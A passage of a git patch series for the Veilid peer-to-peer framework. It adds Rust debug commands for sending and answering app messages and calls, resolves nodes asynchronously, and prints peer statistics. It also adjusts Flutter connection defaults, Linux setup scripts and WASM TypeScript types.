From b51e14783baee4d5b7f5a91e5a0f4ad7b4d2f3bb Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 11:56:50 -0400 Subject: [PATCH 01/47] resolve node --- veilid-core/src/veilid_api/debug.rs | 193 ++++++++++++++++++---------- 1 file changed, 128 insertions(+), 65 deletions(-) diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 38ee02f6..524c0cd8 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -165,82 +165,89 @@ fn get_node_ref_modifiers(mut node_ref: NodeRef) -> impl FnOnce(&str) -> Option< } } -fn get_destination(routing_table: RoutingTable) -> impl FnOnce(&str) -> Option { +fn get_destination( + routing_table: RoutingTable, +) -> impl FnOnce(&str) -> SendPinBoxFuture> { move |text| { - // Safety selection - let (text, ss) = if let Some((first, second)) = text.split_once('+') { - let ss = get_safety_selection(routing_table.clone())(second)?; - (first, Some(ss)) - } else { - (text, None) - }; - if text.len() == 0 { - return None; - } - if &text[0..1] == "#" { - let rss = routing_table.route_spec_store(); + let text = text.to_owned(); + Box::pin(async move { + // Safety selection + let (text, ss) = if let Some((first, second)) = text.split_once('+') { + let ss = get_safety_selection(routing_table.clone())(second)?; + (first, Some(ss)) + } else { + (text.as_str(), None) + }; + if text.len() == 0 { + return None; + } + if &text[0..1] == "#" { + let rss = routing_table.route_spec_store(); - // Private route - let text = &text[1..]; + // Private route + let text = &text[1..]; - let private_route = if let Some(prid) = get_route_id(rss.clone(), false, true)(text) { - let Some(private_route) = rss.best_remote_private_route(&prid) else { + let private_route = if let Some(prid) = get_route_id(rss.clone(), false, true)(text) + { + let Some(private_route) = rss.best_remote_private_route(&prid) else { return None; }; - private_route - } else { - let mut dc = DEBUG_CACHE.lock(); - let n = get_number(text)?; - let prid = dc.imported_routes.get(n)?.clone(); - let Some(private_route) = rss.best_remote_private_route(&prid) else { + private_route + } else { + let mut dc = DEBUG_CACHE.lock(); + let n = get_number(text)?; + let prid = dc.imported_routes.get(n)?.clone(); + let Some(private_route) = rss.best_remote_private_route(&prid) else { // Remove imported route dc.imported_routes.remove(n); info!("removed dead imported route {}", n); return None; }; - private_route - }; + private_route + }; - Some(Destination::private_route( - private_route, - ss.unwrap_or(SafetySelection::Unsafe(Sequencing::default())), - )) - } else { - let (text, mods) = text - .split_once('/') - .map(|x| (x.0, Some(x.1))) - .unwrap_or((text, None)); - if let Some((first, second)) = text.split_once('@') { - // Relay - let mut relay_nr = get_node_ref(routing_table.clone())(second)?; - let target_nr = get_node_ref(routing_table)(first)?; - - if let Some(mods) = mods { - relay_nr = get_node_ref_modifiers(relay_nr)(mods)?; - } - - let mut d = Destination::relay(relay_nr, target_nr); - if let Some(ss) = ss { - d = d.with_safety(ss) - } - - Some(d) + Some(Destination::private_route( + private_route, + ss.unwrap_or(SafetySelection::Unsafe(Sequencing::default())), + )) } else { - // Direct - let mut target_nr = get_node_ref(routing_table)(text)?; + let (text, mods) = text + .split_once('/') + .map(|x| (x.0, Some(x.1))) + .unwrap_or((text, None)); + if let Some((first, second)) = text.split_once('@') { + // Relay + let mut relay_nr = get_node_ref(routing_table.clone())(second)?; + let target_nr = get_node_ref(routing_table)(first)?; - if let Some(mods) = mods { - target_nr = get_node_ref_modifiers(target_nr)(mods)?; + if let Some(mods) = mods { + relay_nr = get_node_ref_modifiers(relay_nr)(mods)?; + } + + let mut d = Destination::relay(relay_nr, target_nr); + if let Some(ss) = ss { + d = d.with_safety(ss) + } + + Some(d) + } else { + // Direct + let mut target_nr = + resolve_node_ref(routing_table, ss.unwrap_or_default())(text).await?; + + if let Some(mods) = mods { + target_nr = get_node_ref_modifiers(target_nr)(mods)?; + } + + let mut d = Destination::direct(target_nr); + if let Some(ss) = ss { + d = d.with_safety(ss) + } + + Some(d) } - - let mut d = Destination::direct(target_nr); - if let Some(ss) = ss { - d = d.with_safety(ss) - } - - Some(d) } - } + }) } } @@ -292,6 +299,44 @@ fn get_dht_key( } } +fn resolve_node_ref( + routing_table: RoutingTable, + safety_selection: SafetySelection, +) -> impl FnOnce(&str) -> SendPinBoxFuture> { + move |text| { + let text = text.to_owned(); + Box::pin(async move { + let (text, mods) = text + .split_once('/') + .map(|x| (x.0, Some(x.1))) + .unwrap_or((&text, None)); + + let mut nr = if let Some(key) = get_public_key(text) { + let node_id = TypedKey::new(best_crypto_kind(), key); + routing_table + .rpc_processor() + .resolve_node(node_id, safety_selection) + .await + .ok() + .flatten()? + } else if let Some(node_id) = get_typed_key(text) { + routing_table + .rpc_processor() + .resolve_node(node_id, safety_selection) + .await + .ok() + .flatten()? + } else { + return None; + }; + if let Some(mods) = mods { + nr = get_node_ref_modifiers(nr)(mods)?; + } + Some(nr) + }) + } +} + fn get_node_ref(routing_table: RoutingTable) -> impl FnOnce(&str) -> Option { move |text| { let (text, mods) = text @@ -301,8 +346,8 @@ fn get_node_ref(routing_table: RoutingTable) -> impl FnOnce(&str) -> Option Option>( Ok(val) } +async fn async_get_debug_argument_at SendPinBoxFuture>>( + debug_args: &[String], + pos: usize, + context: &str, + argument: &str, + getter: G, +) -> VeilidAPIResult { + if pos >= debug_args.len() { + apibail_missing_argument!(context, argument); + } + let value = &debug_args[pos]; + let Some(val) = getter(value).await else { + apibail_invalid_argument!(context, argument, value); + }; + Ok(val) +} + pub fn print_data(data: &[u8], truncate_len: Option) -> String { // check is message body is ascii printable let mut printable = true; @@ -749,13 +811,14 @@ impl VeilidAPI { let args: Vec = args.split_whitespace().map(|s| s.to_owned()).collect(); - let dest = get_debug_argument_at( + let dest = async_get_debug_argument_at( &args, 0, "debug_ping", "destination", get_destination(routing_table), - )?; + ) + .await?; // Dump routing table entry let out = match rpc From 28b08034f5c0fc97ef90b959ac0a70910b13c042 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 15:53:19 -0400 Subject: [PATCH 02/47] appmessage/call commands --- veilid-core/src/routing_table/debug.rs | 1 + veilid-core/src/veilid_api/debug.rs | 93 +++++++++++++++++++++++++- 2 files changed, 93 insertions(+), 1 deletion(-) diff --git a/veilid-core/src/routing_table/debug.rs b/veilid-core/src/routing_table/debug.rs index 8f3875d9..64207987 100644 --- a/veilid-core/src/routing_table/debug.rs +++ b/veilid-core/src/routing_table/debug.rs @@ -73,6 +73,7 @@ impl RoutingTable { " Self Transfer Stats: {:#?}\n\n", inner.self_transfer_stats ); + out += &format!(" Version: {}\n\n", veilid_version_string()); out } diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 524c0cd8..81920b38 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -439,6 +439,19 @@ fn get_debug_argument Option>( }; Ok(val) } + +async fn async_get_debug_argument SendPinBoxFuture>>( + value: &str, + context: &str, + argument: &str, + getter: G, +) -> VeilidAPIResult { + let Some(val) = getter(value).await else { + apibail_invalid_argument!(context, argument, value); + }; + Ok(val) +} + fn get_debug_argument_at Option>( debug_args: &[String], pos: usize, @@ -820,7 +833,7 @@ impl VeilidAPI { ) .await?; - // Dump routing table entry + // Send a StatusQ let out = match rpc .rpc_call_status(dest) .await @@ -835,6 +848,78 @@ impl VeilidAPI { Ok(format!("{:#?}", out)) } + async fn debug_app_message(&self, args: String) -> VeilidAPIResult { + let netman = self.network_manager()?; + let routing_table = netman.routing_table(); + let rpc = netman.rpc_processor(); + + let (arg, rest) = args.split_once(' ').unwrap_or((&args, "")); + let rest = rest.trim_start().to_owned(); + + let dest = async_get_debug_argument( + arg, + "debug_app_message", + "destination", + get_destination(routing_table), + ) + .await?; + + let data = get_debug_argument(&rest, "debug_app_message", "data", get_data)?; + let data_len = data.len(); + + // Send a AppMessage + let out = match rpc + .rpc_call_app_message(dest, data) + .await + .map_err(VeilidAPIError::internal)? + { + NetworkResult::Value(_) => format!("Sent {} bytes", data_len), + r => { + return Ok(r.to_string()); + } + }; + + Ok(out) + } + + async fn debug_app_call(&self, args: String) -> VeilidAPIResult { + let netman = self.network_manager()?; + let routing_table = netman.routing_table(); + let rpc = netman.rpc_processor(); + + let (arg, rest) = args.split_once(' ').unwrap_or((&args, "")); + let rest = rest.trim_start().to_owned(); + + let dest = async_get_debug_argument( + arg, + "debug_app_call", + "destination", + get_destination(routing_table), + ) + .await?; + + let data = get_debug_argument(&rest, "debug_app_call", "data", get_data)?; + let data_len = data.len(); + + // Send a AppMessage + let out = match rpc + .rpc_call_app_call(dest, data) + .await + .map_err(VeilidAPIError::internal)? + { + NetworkResult::Value(v) => format!( + "Sent {} bytes, received: {}", + data_len, + print_data(&v.answer, Some(512)) + ), + r => { + return Ok(r.to_string()); + } + }; + + Ok(out) + } + async fn debug_route_allocate(&self, args: Vec) -> VeilidAPIResult { // [ord|*ord] [rel] [] [in|out] [avoid_node_id] @@ -1451,6 +1536,8 @@ detach restart network contact [] ping +appmessage +appcall relay [public|local] punish list route allocate [ord|*ord] [rel] [] [in|out] @@ -1528,6 +1615,10 @@ record list self.debug_relay(rest).await } else if arg == "ping" { self.debug_ping(rest).await + } else if arg == "appmessage" { + self.debug_app_message(rest).await + } else if arg == "appcall" { + self.debug_app_call(rest).await } else if arg == "contact" { self.debug_contact(rest).await } else if arg == "nodeinfo" { From a5e17a0d650140dba059d8cf5624626098d6a4a7 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 17:07:22 -0400 Subject: [PATCH 03/47] appreply --- veilid-core/src/rpc_processor/mod.rs | 5 +++ .../src/rpc_processor/operation_waiter.rs | 14 ++++++++ veilid-core/src/veilid_api/debug.rs | 34 +++++++++++++++++++ 3 files changed, 53 insertions(+) diff --git a/veilid-core/src/rpc_processor/mod.rs b/veilid-core/src/rpc_processor/mod.rs index 8f4baea8..38a38ed8 100644 --- a/veilid-core/src/rpc_processor/mod.rs +++ b/veilid-core/src/rpc_processor/mod.rs @@ -434,6 +434,11 @@ impl RPCProcessor { ////////////////////////////////////////////////////////////////////// + /// Get waiting app call id for debugging purposes + pub fn get_app_call_ids(&self) -> Vec { + self.unlocked_inner.waiting_app_call_table.get_operation_ids() + } + /// Determine if a SignedNodeInfo can be placed into the specified routing domain fn verify_node_info( &self, diff --git a/veilid-core/src/rpc_processor/operation_waiter.rs b/veilid-core/src/rpc_processor/operation_waiter.rs index 3588e10e..f7c7bd00 100644 --- a/veilid-core/src/rpc_processor/operation_waiter.rs +++ b/veilid-core/src/rpc_processor/operation_waiter.rs @@ -30,6 +30,7 @@ where C: Unpin + Clone, { context: C, + timestamp: Timestamp, eventual: EventualValue<(Option, T)>, } @@ -82,6 +83,7 @@ where let e = EventualValue::new(); let waiting_op = OperationWaitingOp { context, + timestamp: get_aligned_timestamp(), eventual: e.clone(), }; if inner.waiting_op_table.insert(op_id, waiting_op).is_some() { @@ -98,6 +100,18 @@ where } } + /// Get all waiting operation ids + pub fn get_operation_ids(&self) -> Vec { + let inner = self.inner.lock(); + let mut opids: Vec<(OperationId, Timestamp)> = inner + .waiting_op_table + .iter() + .map(|x| (*x.0, x.1.timestamp)) + .collect(); + opids.sort_by(|a, b| a.1.cmp(&b.1)); + opids.into_iter().map(|x| x.0).collect() + } + /// Get operation context pub fn get_op_context(&self, op_id: OperationId) -> Result { let inner = self.inner.lock(); diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 81920b38..90c144c0 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -920,6 +920,37 @@ impl VeilidAPI { Ok(out) } + async fn debug_app_reply(&self, args: String) -> VeilidAPIResult { + let netman = self.network_manager()?; + let rpc = netman.rpc_processor(); + + let (call_id, data) = if args.starts_with("#") { + let (arg, rest) = args[1..].split_once(' ').unwrap_or((&args, "")); + let call_id = + OperationId::new(u64::from_str_radix(arg, 16).map_err(VeilidAPIError::generic)?); + let rest = rest.trim_start().to_owned(); + let data = get_debug_argument(&rest, "debug_app_reply", "data", get_data)?; + (call_id, data) + } else { + let call_id = rpc + .get_app_call_ids() + .first() + .cloned() + .ok_or_else(|| VeilidAPIError::generic("no app calls waiting"))?; + let data = get_debug_argument(&args, "debug_app_reply", "data", get_data)?; + (call_id, data) + }; + + let data_len = data.len(); + + // Send a AppCall Reply + self.app_call_reply(call_id, data) + .await + .map_err(VeilidAPIError::internal)?; + + Ok(format!("Replied with {} bytes", data_len)) + } + async fn debug_route_allocate(&self, args: Vec) -> VeilidAPIResult { // [ord|*ord] [rel] [] [in|out] [avoid_node_id] @@ -1538,6 +1569,7 @@ contact [] ping appmessage appcall +appreply [#id] relay [public|local] punish list route allocate [ord|*ord] [rel] [] [in|out] @@ -1619,6 +1651,8 @@ record list self.debug_app_message(rest).await } else if arg == "appcall" { self.debug_app_call(rest).await + } else if arg == "appreply" { + self.debug_app_reply(rest).await } else if arg == "contact" { self.debug_contact(rest).await } else if arg == "nodeinfo" { From 6e26fb4c8fe0b58362c6830dc6763272c9586d1e Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 20:16:57 -0400 Subject: [PATCH 04/47] more nodeinfo --- veilid-core/src/veilid_api/debug.rs | 47 +++++++++++++++++++++++++- veilid-flutter/lib/default_config.dart | 4 +-- 2 files changed, 48 insertions(+), 3 deletions(-) diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 90c144c0..29d6ad3d 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -15,6 +15,35 @@ static DEBUG_CACHE: Mutex = Mutex::new(DebugCache { imported_routes: Vec::new(), }); +fn format_opt_ts(ts: Option) -> String { + let Some(ts) = ts else { + return "---".to_owned(); + }; + let ts = ts.as_u64(); + let secs = timestamp_to_secs(ts); + if secs >= 1.0 { + format!("{:.2}s", timestamp_to_secs(ts)) + } else { + format!("{:.2}ms", timestamp_to_secs(ts) * 1000.0) + } +} + +fn format_opt_bps(bps: Option) -> String { + let Some(bps) = bps else { + return "---".to_owned(); + }; + let bps = bps.as_u64(); + if bps >= 1024u64 * 1024u64 * 1024u64 { + format!("{:.2}GB/s", (bps / (1024u64 * 1024u64)) as f64 / 1024.0) + } else if bps >= 1024u64 * 1024u64 { + format!("{:.2}MB/s", (bps / 1024u64) as f64 / 1024.0) + } else if bps >= 1024u64 { + format!("{:.2}KB/s", bps as f64 / 1024.0) + } else { + format!("{:.2}B/s", bps as f64) + } +} + fn get_bucket_entry_state(text: &str) -> Option { if text == "dead" { Some(BucketEntryState::Dead) @@ -653,7 +682,23 @@ impl VeilidAPI { async fn debug_nodeinfo(&self, _args: String) -> VeilidAPIResult { // Dump routing table entry let routing_table = self.network_manager()?.routing_table(); - Ok(routing_table.debug_info_nodeinfo()) + let nodeinfo = routing_table.debug_info_nodeinfo(); + + // Dump core state + let state = self.get_state().await?; + + let mut peertable = format!("Connections: {}\n", state.network.peers.len()); + for peer in state.network.peers { + peertable += &format!( + " {} | {} | {} | {} down | {} up\n", + peer.node_ids.first().unwrap(), + peer.peer_address, + format_opt_ts(peer.peer_stats.latency.map(|l| l.average)), + format_opt_bps(Some(peer.peer_stats.transfer.down.average)), + format_opt_bps(Some(peer.peer_stats.transfer.up.average)), + ); + } + Ok(format!("{}\n\n{}\n\n", nodeinfo, peertable)) } async fn debug_config(&self, args: String) -> VeilidAPIResult { diff --git a/veilid-flutter/lib/default_config.dart b/veilid-flutter/lib/default_config.dart index eac855bc..a10787f3 100644 --- a/veilid-flutter/lib/default_config.dart +++ b/veilid-flutter/lib/default_config.dart @@ -173,14 +173,14 @@ Future getDefaultVeilidConfig(String programName) async { ws: VeilidConfigWS( connect: true, listen: !kIsWeb, - maxConnections: 32, + maxConnections: 1024, listenAddress: '', path: 'ws', ), wss: VeilidConfigWSS( connect: true, listen: false, - maxConnections: 32, + maxConnections: 1024, listenAddress: '', path: 'ws', ), From 5acf024cdbb1205b50d66854268299463f8d15d3 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 20:20:03 -0400 Subject: [PATCH 05/47] oops --- veilid-flutter/lib/default_config.dart | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/veilid-flutter/lib/default_config.dart b/veilid-flutter/lib/default_config.dart index a10787f3..eac855bc 100644 --- a/veilid-flutter/lib/default_config.dart +++ b/veilid-flutter/lib/default_config.dart @@ -173,14 +173,14 @@ Future getDefaultVeilidConfig(String programName) async { ws: VeilidConfigWS( connect: true, listen: !kIsWeb, - maxConnections: 1024, + maxConnections: 32, listenAddress: '', path: 'ws', ), wss: VeilidConfigWSS( connect: true, listen: false, - maxConnections: 1024, + maxConnections: 32, listenAddress: '', path: 'ws', ), From b3294d905d685e99e31bcc347982bddf090dcfb8 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 20:30:29 -0400 Subject: [PATCH 06/47] rename --- veilid-core/src/veilid_api/debug.rs | 2 +- veilid-flutter/lib/default_config.dart | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 29d6ad3d..cc7ed02f 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -687,7 +687,7 @@ impl VeilidAPI { // Dump core state let state = self.get_state().await?; - let mut peertable = format!("Connections: {}\n", state.network.peers.len()); + let mut peertable = format!("Recent Peers: {}\n", state.network.peers.len()); for peer in state.network.peers { peertable += &format!( " {} | {} | {} | {} down | {} up\n", diff --git a/veilid-flutter/lib/default_config.dart b/veilid-flutter/lib/default_config.dart index eac855bc..a10787f3 100644 --- a/veilid-flutter/lib/default_config.dart +++ b/veilid-flutter/lib/default_config.dart @@ -173,14 +173,14 @@ Future getDefaultVeilidConfig(String programName) async { ws: VeilidConfigWS( connect: true, listen: !kIsWeb, - maxConnections: 32, + maxConnections: 1024, listenAddress: '', path: 'ws', ), wss: VeilidConfigWSS( connect: true, listen: false, - maxConnections: 32, + maxConnections: 1024, listenAddress: '', path: 'ws', ), From 5b3d589bf2478d9448c34e2d3bc11c0f1dc07dba Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 20:36:39 -0400 Subject: [PATCH 07/47] print max --- veilid-core/src/routing_table/routing_table_inner.rs | 2 +- veilid-core/src/veilid_api/debug.rs | 6 +++++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/veilid-core/src/routing_table/routing_table_inner.rs b/veilid-core/src/routing_table/routing_table_inner.rs index 6da5cefa..c2cfc291 100644 --- a/veilid-core/src/routing_table/routing_table_inner.rs +++ b/veilid-core/src/routing_table/routing_table_inner.rs @@ -1,7 +1,7 @@ use super::*; use weak_table::PtrWeakHashSet; -const RECENT_PEERS_TABLE_SIZE: usize = 64; +pub const RECENT_PEERS_TABLE_SIZE: usize = 64; pub type EntryCounts = BTreeMap<(RoutingDomain, CryptoKind), usize>; ////////////////////////////////////////////////////////////////////////// diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index cc7ed02f..633f77f4 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -687,7 +687,11 @@ impl VeilidAPI { // Dump core state let state = self.get_state().await?; - let mut peertable = format!("Recent Peers: {}\n", state.network.peers.len()); + let mut peertable = format!( + "Recent Peers: {} (max {})\n", + state.network.peers.len(), + RECENT_PEERS_TABLE_SIZE + ); for peer in state.network.peers { peertable += &format!( " {} | {} | {} | {} down | {} up\n", From cd9dd00c9219c002c01fe596d7a949fc73742b10 Mon Sep 17 00:00:00 2001 From: John Smith Date: Mon, 11 Sep 2023 10:10:05 -0400 Subject: [PATCH 08/47] add pip3 to linux prereqs too --- dev-setup/install_linux_prerequisites.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dev-setup/install_linux_prerequisites.sh b/dev-setup/install_linux_prerequisites.sh index ec09e0b3..149470ee 100755 --- a/dev-setup/install_linux_prerequisites.sh +++ b/dev-setup/install_linux_prerequisites.sh @@ -9,7 +9,7 @@ fi if [ ! -z "$(command -v apt)" ]; then # Install APT dependencies sudo apt update -y - sudo apt install -y openjdk-11-jdk-headless iproute2 curl build-essential cmake libssl-dev openssl file git pkg-config libdbus-1-dev libdbus-glib-1-dev libgirepository1.0-dev libcairo2-dev checkinstall unzip llvm wabt + sudo apt install -y openjdk-11-jdk-headless iproute2 curl build-essential cmake libssl-dev openssl file git pkg-config libdbus-1-dev libdbus-glib-1-dev libgirepository1.0-dev libcairo2-dev checkinstall unzip llvm wabt python3-pip elif [ ! -z "$(command -v dnf)" ]; then # DNF (formerly yum) sudo dnf update -y From 797e34f9654d87195f790cc03b53e0365cdcad55 Mon Sep 17 00:00:00 2001 From: John Smith Date: Mon, 11 Sep 2023 10:12:26 -0400 Subject: [PATCH 09/47] ensure setup_linux.sh isn't run as root --- dev-setup/setup_linux.sh | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/dev-setup/setup_linux.sh b/dev-setup/setup_linux.sh index 2b60452f..d5b21ace 100755 --- a/dev-setup/setup_linux.sh +++ b/dev-setup/setup_linux.sh @@ -1,6 +1,11 @@ #!/bin/bash set -eo pipefail +if [ $(id -u) -eq 0 ]; then + echo "Don't run this as root" + exit +fi + SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" if [[ "$(uname)" != "Linux" ]]; then From c2c607efac823594cea7cd019b8318a4fed4ced6 Mon Sep 17 00:00:00 2001 From: Brandon Vandegrift <798832-bmv437@users.noreply.gitlab.com> Date: Mon, 11 Sep 2023 01:25:37 -0400 Subject: [PATCH 10/47] (wasm) Better TS types for serialized structs, RoutingContext++, more crypto fns --- veilid-core/src/crypto/types/crypto_typed.rs | 1 - .../src/crypto/types/crypto_typed_group.rs | 2 - veilid-core/src/crypto/types/keypair.rs | 2 - .../types/dht/dht_record_descriptor.rs | 4 +- .../src/veilid_api/types/dht/schema/smpl.rs | 1 - .../src/veilid_api/types/dht/value_data.rs | 1 - veilid-core/src/veilid_api/types/fourcc.rs | 1 - .../src/veilid_api/types/veilid_state.rs | 3 - veilid-wasm/src/lib.rs | 5 - veilid-wasm/src/veilid_client_js.rs | 11 +- veilid-wasm/src/veilid_crypto_js.rs | 61 +++++++-- veilid-wasm/src/veilid_routing_context_js.rs | 118 +++++++++--------- veilid-wasm/src/wasm_helpers.rs | 10 ++ 13 files changed, 133 insertions(+), 87 deletions(-) diff --git a/veilid-core/src/crypto/types/crypto_typed.rs b/veilid-core/src/crypto/types/crypto_typed.rs index 39f4bd59..740f888c 100644 --- a/veilid-core/src/crypto/types/crypto_typed.rs +++ b/veilid-core/src/crypto/types/crypto_typed.rs @@ -1,7 +1,6 @@ use super::*; #[derive(Clone, Copy, Debug, PartialEq, Eq, Hash)] -#[cfg_attr(target_arch = "wasm32", derive(Tsify), tsify(into_wasm_abi))] pub struct CryptoTyped where K: Clone diff --git a/veilid-core/src/crypto/types/crypto_typed_group.rs b/veilid-core/src/crypto/types/crypto_typed_group.rs index 77d0974c..80f717bc 100644 --- a/veilid-core/src/crypto/types/crypto_typed_group.rs +++ b/veilid-core/src/crypto/types/crypto_typed_group.rs @@ -1,9 +1,7 @@ use super::*; #[derive(Clone, Debug, Serialize, Deserialize, PartialOrd, Ord, PartialEq, Eq, Hash, Default)] -#[cfg_attr(target_arch = "wasm32", derive(Tsify))] #[serde(from = "Vec>", into = "Vec>")] -// TODO: figure out hot to TS type this as `string`, since it's converted to string via the JSON API. pub struct CryptoTypedGroup where K: Clone diff --git a/veilid-core/src/crypto/types/keypair.rs b/veilid-core/src/crypto/types/keypair.rs index 333a5d0b..6530eefb 100644 --- a/veilid-core/src/crypto/types/keypair.rs +++ b/veilid-core/src/crypto/types/keypair.rs @@ -7,9 +7,7 @@ use super::*; tsify(from_wasm_abi, into_wasm_abi) )] pub struct KeyPair { - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] pub key: PublicKey, - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] pub secret: SecretKey, } from_impl_to_jsvalue!(KeyPair); diff --git a/veilid-core/src/veilid_api/types/dht/dht_record_descriptor.rs b/veilid-core/src/veilid_api/types/dht/dht_record_descriptor.rs index 32c93ffd..9d619652 100644 --- a/veilid-core/src/veilid_api/types/dht/dht_record_descriptor.rs +++ b/veilid-core/src/veilid_api/types/dht/dht_record_descriptor.rs @@ -10,16 +10,14 @@ use super::*; pub struct DHTRecordDescriptor { /// DHT Key = Hash(ownerKeyKind) of: [ ownerKeyValue, schema ] #[schemars(with = "String")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] key: TypedKey, /// The public key of the owner #[schemars(with = "String")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] owner: PublicKey, /// If this key is being created: Some(the secret key of the owner) /// If this key is just being opened: None #[schemars(with = "Option")] - #[cfg_attr(target_arch = "wasm32", tsify(optional, type = "string"))] + #[cfg_attr(target_arch = "wasm32", tsify(optional))] owner_secret: Option, /// The schema in use associated with the key schema: DHTSchema, diff --git a/veilid-core/src/veilid_api/types/dht/schema/smpl.rs b/veilid-core/src/veilid_api/types/dht/schema/smpl.rs index d6da5ea6..b14ed67c 100644 --- a/veilid-core/src/veilid_api/types/dht/schema/smpl.rs +++ b/veilid-core/src/veilid_api/types/dht/schema/smpl.rs @@ -6,7 +6,6 @@ use super::*; pub struct DHTSchemaSMPLMember { /// Member key #[schemars(with = "String")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] pub m_key: PublicKey, /// Member subkey count pub m_cnt: u16, diff --git a/veilid-core/src/veilid_api/types/dht/value_data.rs b/veilid-core/src/veilid_api/types/dht/value_data.rs index 98f73910..e43b9b2b 100644 --- a/veilid-core/src/veilid_api/types/dht/value_data.rs +++ b/veilid-core/src/veilid_api/types/dht/value_data.rs @@ -15,7 +15,6 @@ pub struct ValueData { /// The public identity key of the writer of the data #[schemars(with = "String")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] writer: PublicKey, } from_impl_to_jsvalue!(ValueData); diff --git a/veilid-core/src/veilid_api/types/fourcc.rs b/veilid-core/src/veilid_api/types/fourcc.rs index 21f8db50..5995c1b5 100644 --- a/veilid-core/src/veilid_api/types/fourcc.rs +++ b/veilid-core/src/veilid_api/types/fourcc.rs @@ -4,7 +4,6 @@ use super::*; #[derive( Copy, Default, Clone, Hash, PartialOrd, Ord, PartialEq, Eq, Serialize, Deserialize, JsonSchema, )] -#[cfg_attr(target_arch = "wasm32", derive(Tsify))] #[serde(try_from = "String")] #[serde(into = "String")] pub struct FourCC(pub [u8; 4]); diff --git a/veilid-core/src/veilid_api/types/veilid_state.rs b/veilid-core/src/veilid_api/types/veilid_state.rs index 6c3b4e60..49b180c9 100644 --- a/veilid-core/src/veilid_api/types/veilid_state.rs +++ b/veilid-core/src/veilid_api/types/veilid_state.rs @@ -83,10 +83,8 @@ pub struct VeilidStateNetwork { #[cfg_attr(target_arch = "wasm32", derive(Tsify))] pub struct VeilidRouteChange { #[schemars(with = "Vec")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] pub dead_routes: Vec, #[schemars(with = "Vec")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] pub dead_remote_routes: Vec, } @@ -100,7 +98,6 @@ pub struct VeilidStateConfig { #[cfg_attr(target_arch = "wasm32", derive(Tsify))] pub struct VeilidValueChange { #[schemars(with = "String")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] pub key: TypedKey, pub subkeys: Vec, pub count: u32, diff --git a/veilid-wasm/src/lib.rs b/veilid-wasm/src/lib.rs index 77767ea5..b949f527 100644 --- a/veilid-wasm/src/lib.rs +++ b/veilid-wasm/src/lib.rs @@ -246,11 +246,6 @@ pub fn change_log_level(layer: String, log_level: String) { } } -#[wasm_bindgen(typescript_custom_section)] -const IUPDATE_VEILID_FUNCTION: &'static str = r#" -type UpdateVeilidFunction = (event: VeilidUpdate) => void; -"#; - #[wasm_bindgen()] pub fn startup_veilid_core(update_callback_js: Function, json_config: String) -> Promise { let update_callback_js = SendWrapper::new(update_callback_js); diff --git a/veilid-wasm/src/veilid_client_js.rs b/veilid-wasm/src/veilid_client_js.rs index 0629adb9..e89103cb 100644 --- a/veilid-wasm/src/veilid_client_js.rs +++ b/veilid-wasm/src/veilid_client_js.rs @@ -3,7 +3,16 @@ use super::*; #[wasm_bindgen(typescript_custom_section)] const IUPDATE_VEILID_FUNCTION: &'static str = r#" -type UpdateVeilidFunction = (event: VeilidUpdate) => void; +export type UpdateVeilidFunction = (event: VeilidUpdate) => void; + +// Type overrides for structs that always get serialized by serde. +export type CryptoKey = string; +export type Nonce = string; +export type Signature = string; +export type KeyPair = `${PublicKey}:${SecretKey}`; +export type FourCC = "NONE" | "VLD0" | string; +export type CryptoTyped = `${FourCC}:${TCryptoKey}`; +export type CryptoTypedGroup = Array>; "#; #[wasm_bindgen] diff --git a/veilid-wasm/src/veilid_crypto_js.rs b/veilid-wasm/src/veilid_crypto_js.rs index 350bac32..ada65c4b 100644 --- a/veilid-wasm/src/veilid_crypto_js.rs +++ b/veilid-wasm/src/veilid_crypto_js.rs @@ -1,12 +1,6 @@ #![allow(non_snake_case)] use super::*; -#[wasm_bindgen] -extern "C" { - #[wasm_bindgen(typescript_type = "string[]")] - pub type ValidCryptoKinds; -} - #[wasm_bindgen(js_name = veilidCrypto)] pub struct VeilidCrypto {} @@ 